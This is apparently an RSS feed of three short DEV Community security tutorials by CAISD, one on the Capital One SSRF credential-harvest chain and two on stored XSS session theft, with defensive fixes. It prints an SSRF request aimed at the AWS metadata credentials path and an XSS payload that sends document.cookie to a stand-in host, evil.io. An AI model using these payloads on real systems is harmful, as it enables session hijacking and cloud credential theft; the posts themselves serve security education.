<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: CAISD</title>
    <description>The latest articles on DEV Community by CAISD (@caisd).</description>
    <link>https://dev.to/caisd</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3874124%2F39145bda-bc5e-4ee9-9264-a1b3a76191e4.jpg</url>
      <title>DEV Community: CAISD</title>
      <link>https://dev.to/caisd</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/caisd"/>
    <language>en</language>
    <item>
      <title>SSRF to AWS Credential Harvest — The Capital One Attack Chain, Visualized| CAISD</title>
      <dc:creator>CAISD</dc:creator>
      <pubDate>Sun, 12 Apr 2026 11:39:39 +0000</pubDate>
      <link>https://dev.to/caisd/ssrf-to-aws-credential-harvest-the-capital-one-attack-chain-visualized-caisd-34i8</link>
      <guid>https://dev.to/caisd/ssrf-to-aws-credential-harvest-the-capital-one-attack-chain-visualized-caisd-34i8</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;No credentials. No malware. No special access.&lt;br&gt;&lt;br&gt;
Just a URL input — and a server with the wrong trust model.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is how Capital One lost &lt;strong&gt;100 million records&lt;/strong&gt; in 2019.&lt;/p&gt;




&lt;h2&gt;
  
  
  What is SSRF?
&lt;/h2&gt;

&lt;p&gt;Server-Side Request Forgery tricks your server into making HTTP requests &lt;em&gt;on behalf of the attacker&lt;/em&gt; — including to internal metadata endpoints that should never be reachable from outside.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Exact Attack Chain
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Step 1 — Attacker sends a crafted request:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;POST /api/document-import
url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2 — Server blindly fetches the URL&lt;/strong&gt;&lt;br&gt;
The app was designed to import documents from URLs. It never validated &lt;em&gt;which&lt;/em&gt; URLs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3 — AWS metadata endpoint responds with live IAM credentials&lt;/strong&gt;&lt;br&gt;
Access key, secret key, session token — all returned in plaintext.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4 — Attacker enumerates S3 buckets&lt;/strong&gt;&lt;br&gt;
Using the harvested credentials to authenticate against AWS directly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 5 — 100M records exfiltrated&lt;/strong&gt;&lt;br&gt;
Credit applications, SSNs, bank account numbers.&lt;/p&gt;

&lt;p&gt;Total time from exploit to data? Hours.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Fix — 4 Layers of Defense
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;What to do&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Input validation&lt;/td&gt;
&lt;td&gt;URL allowlist + block private IP ranges (169.254.x.x, 10.x.x.x, 172.16.x.x)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IMDSv2 enforcement&lt;/td&gt;
&lt;td&gt;Set &lt;code&gt;HttpTokens: required&lt;/code&gt; — prevents unauthenticated metadata access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Network controls&lt;/td&gt;
&lt;td&gt;Egress firewall + ACLs blocking metadata endpoint from app servers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IAM hygiene&lt;/td&gt;
&lt;td&gt;Least-privilege roles — even if credentials leak, blast radius is minimal&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Bug Bounty Severity Reference
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;🔴 &lt;strong&gt;SSRF → AWS metadata endpoint&lt;/strong&gt; = P1 Critical&lt;/li&gt;
&lt;li&gt;🔴 &lt;strong&gt;IAM credential harvest&lt;/strong&gt; = P1 Critical
&lt;/li&gt;
&lt;li&gt;🟠 &lt;strong&gt;Internal service discovery via SSRF&lt;/strong&gt; = P2 High&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;One unvalidated URL parameter → full AWS credential access → 100M records gone.&lt;/p&gt;

&lt;p&gt;IMDSv2 + URL allowlisting would have stopped this cold.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Full visual breakdown by CAISD — Bamdad Shahabi:&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;📺 &lt;a href="https://youtube.com/@CAISD_Official" rel="noopener noreferrer"&gt;YouTube @CAISD_Official&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;📄 &lt;a href="https://medium.com/@mahone0094" rel="noopener noreferrer"&gt;Medium @mahone0094&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;💼 &lt;a href="https://linkedin.com/in/bamdad-95a40b312" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;🐙 &lt;a href="https://github.com/tiztac093/CAISD-XSS-Visual" rel="noopener noreferrer"&gt;GitHub — CAISD-XSS-Visual&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;Tags to add on dev.to:&lt;/strong&gt; &lt;code&gt;security&lt;/code&gt; &lt;code&gt;aws&lt;/code&gt; &lt;code&gt;webdev&lt;/code&gt; &lt;code&gt;tutorial&lt;/code&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn6pjlyt0eg4s58zu6m0p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn6pjlyt0eg4s58zu6m0p.png" alt=" " width="800" height="396"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>aws</category>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>security</category>
    </item>
    <item>
      <title>XSS Attack Visualized — How Hackers Steal Sessions Without Your Password | CAISD</title>
      <dc:creator>CAISD</dc:creator>
      <pubDate>Sun, 12 Apr 2026 01:43:50 +0000</pubDate>
      <link>https://dev.to/caisd/xss-attack-visualized-how-hackers-steal-sessions-without-your-password-caisd-l72</link>
      <guid>https://dev.to/caisd/xss-attack-visualized-how-hackers-steal-sessions-without-your-password-caisd-l72</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3vnoszlvzu5lgsi6luie.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3vnoszlvzu5lgsi6luie.png" alt=" " width="760" height="398"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  canonical_url: &lt;a href="https://medium.com/@mahone0094/hackers-dont-need-your-password-anymore-they-just-need-one-unsanitized-input-7e8c87471070" rel="noopener noreferrer"&gt;https://medium.com/@mahone0094/hackers-dont-need-your-password-anymore-they-just-need-one-unsanitized-input-7e8c87471070&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;By Bamdad Shahabi | CAISD — Cyber Intelligence &amp;amp; Digital Forensics&lt;/em&gt;&lt;br&gt;
&lt;em&gt;youtube.com/@CAISD_Official&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;XSS has been in OWASP Top 10 for 20+ years.&lt;br&gt;
Nobody handled it.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is XSS?
&lt;/h2&gt;

&lt;p&gt;XSS (Cross-Site Scripting) allows attackers &lt;br&gt;
to inject malicious scripts into trusted websites.&lt;br&gt;
The browser executes them because they appear &lt;br&gt;
to come from a legitimate source.&lt;/p&gt;

&lt;h2&gt;
  
  
  How does XSS steal your session?
&lt;/h2&gt;

&lt;p&gt;A user logs into their bank.&lt;br&gt;
An attacker already stored this as a "comment":&lt;/p&gt;

&lt;p&gt;Server stored it. No sanitization. No filtering.&lt;br&gt;
Browser loads page — runs the script.&lt;br&gt;
Session token flies to evil.io.&lt;br&gt;
No password touched. Just trust abused.&lt;/p&gt;

&lt;h2&gt;
  
  
  The 3 types of XSS
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;① Stored XSS&lt;/strong&gt; — payload in database, &lt;br&gt;
hits every user. P1 severity in bug bounty.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;② Reflected XSS&lt;/strong&gt; — bounces from URL, &lt;br&gt;
needs a click. P2 severity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;③ DOM-based XSS&lt;/strong&gt; — client-side only.&lt;br&gt;
Server never sees it. WAFs are blind to it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bug Bounty severity
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Stored XSS authenticated endpoint&lt;/td&gt;
&lt;td&gt;P1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Session hijack via document.cookie&lt;/td&gt;
&lt;td&gt;P1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reflected XSS on login page&lt;/td&gt;
&lt;td&gt;P2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DOM XSS bypassing WAF&lt;/td&gt;
&lt;td&gt;P2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  How to prevent XSS
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;✅ Content-Security-Policy:&lt;/strong&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Hackers Don't Need Your Password — They Need One Unsanitized Input | CAISD</title>
      <dc:creator>CAISD</dc:creator>
      <pubDate>Sat, 11 Apr 2026 21:26:28 +0000</pubDate>
      <link>https://dev.to/caisd/hackers-dont-need-your-password-they-need-one-unsanitized-input-caisd-12d9</link>
      <guid>https://dev.to/caisd/hackers-dont-need-your-password-they-need-one-unsanitized-input-caisd-12d9</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm8dn63j6m1o9c9av57ov.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm8dn63j6m1o9c9av57ov.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hackers Don’t Need Your Password Anymore — They Just Need One Unsanitized Input&lt;br&gt;
CAISD&lt;br&gt;
CAISD&lt;br&gt;
2 min read&lt;br&gt;
·&lt;br&gt;
6 hours ago&lt;/p&gt;

&lt;p&gt;🔐 Hackers don’t need your password anymore.&lt;/p&gt;

&lt;p&gt;They just need one unsanitized input field.&lt;/p&gt;

&lt;p&gt;This is Cross-Site Scripting (XSS) — and it’s still in the OWASP Top 10 for a reason.&lt;br&gt;
Here’s Exactly How It Works&lt;/p&gt;

&lt;p&gt;A user visits a bank’s comment section.&lt;br&gt;
An attacker has already submitted this as a “comment”:&lt;/p&gt;

&lt;p&gt;new Image().src='//evil.io?d='+document.cookie&lt;/p&gt;

&lt;p&gt;The server stored it. No sanitization. No filtering.&lt;/p&gt;

&lt;p&gt;Now the victim’s browser loads the page — and runs that script.&lt;br&gt;
Because it came from the bank’s domain, the Same-Origin Policy doesn’t blink.&lt;/p&gt;

&lt;p&gt;The session token flies silently to evil.io.&lt;br&gt;
The attacker logs in.&lt;/p&gt;

&lt;p&gt;No password touched.&lt;br&gt;
The 3 Types of XSS&lt;/p&gt;

&lt;p&gt;Each one more subtle than the last:&lt;br&gt;
① Stored XSS&lt;/p&gt;

&lt;p&gt;The payload lives in the database.&lt;br&gt;
It executes for every user who loads the page — including admins.&lt;br&gt;
One injection, thousands of sessions compromised.&lt;br&gt;
② Reflected XSS&lt;/p&gt;

&lt;p&gt;The payload bounces back from a URL or form.&lt;br&gt;
It requires a crafted link to be clicked — but it’s just as dangerous.&lt;br&gt;
③ DOM-based XSS&lt;/p&gt;

&lt;p&gt;Happens entirely client-side.&lt;br&gt;
The server never sees the malicious input.&lt;br&gt;
Most WAFs are completely blind to it.&lt;br&gt;
The Defense Isn’t Complicated — Most Teams Just Skip It&lt;br&gt;
✅ Content-Security-Policy (CSP)&lt;/p&gt;

&lt;p&gt;Tells the browser to only execute scripts from approved sources.&lt;/p&gt;

&lt;p&gt;Content-Security-Policy: script-src 'self'&lt;/p&gt;

&lt;p&gt;Inline scripts? Blocked before they run.&lt;br&gt;
✅ HttpOnly Cookie Flag&lt;/p&gt;

&lt;p&gt;Even if a script executes — it can’t read the session token.&lt;/p&gt;

&lt;p&gt;Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict&lt;/p&gt;

&lt;p&gt;One flag. Massive impact.&lt;br&gt;
✅ Output Encoding&lt;/p&gt;

&lt;p&gt;Encode everything a user typed before rendering it:&lt;/p&gt;

&lt;p&gt;&amp;lt;  →  &amp;lt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;→  &amp;gt;&lt;br&gt;
"  →  "&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;✅ Server-Side Sanitization&lt;/p&gt;

&lt;p&gt;Use proven libraries — not regex.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Python → bleach / MarkupSafe
Node.js → DOMPurify
Java → OWASP Java Encoder
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;What Most Teams Get Wrong&lt;/p&gt;

&lt;p&gt;They deploy a WAF and call it done.&lt;/p&gt;

&lt;p&gt;WAFs can be bypassed — encoding tricks, obfuscation, DOM vectors.&lt;br&gt;
The real defense lives in the code, not in front of it.&lt;/p&gt;

&lt;p&gt;Defense in depth means all four layers working together.&lt;br&gt;
Remove one — and the others might not be enough.&lt;/p&gt;

&lt;p&gt;XSS has been around for 25+ years.&lt;/p&gt;

&lt;p&gt;It keeps appearing because developers assume someone else already handled it.&lt;/p&gt;

&lt;p&gt;Nobody handled it.&lt;/p&gt;

&lt;p&gt;I created a full cinematic breakdown of this attack — showing every step from login to session hijack to defense — frame by frame.&lt;/p&gt;

&lt;p&gt;You can watch the full visual explanation on my YouTube channel:&lt;br&gt;
&lt;a href="https://www.youtube.com/@CAISD_Official" rel="noopener noreferrer"&gt;https://www.youtube.com/@CAISD_Official&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Because security isn’t about fear.&lt;br&gt;
It’s about understanding how things actually break.&lt;/p&gt;

&lt;h1&gt;
  
  
  CyberSecurity #WebSecurity #XSS #AppSec #OWASP #InfoSec #SoftwareEngineering
&lt;/h1&gt;

</description>
      <category>cybersecurity</category>
      <category>javascript</category>
      <category>security</category>
      <category>webdev</category>
    </item>
  </channel>
</rss>
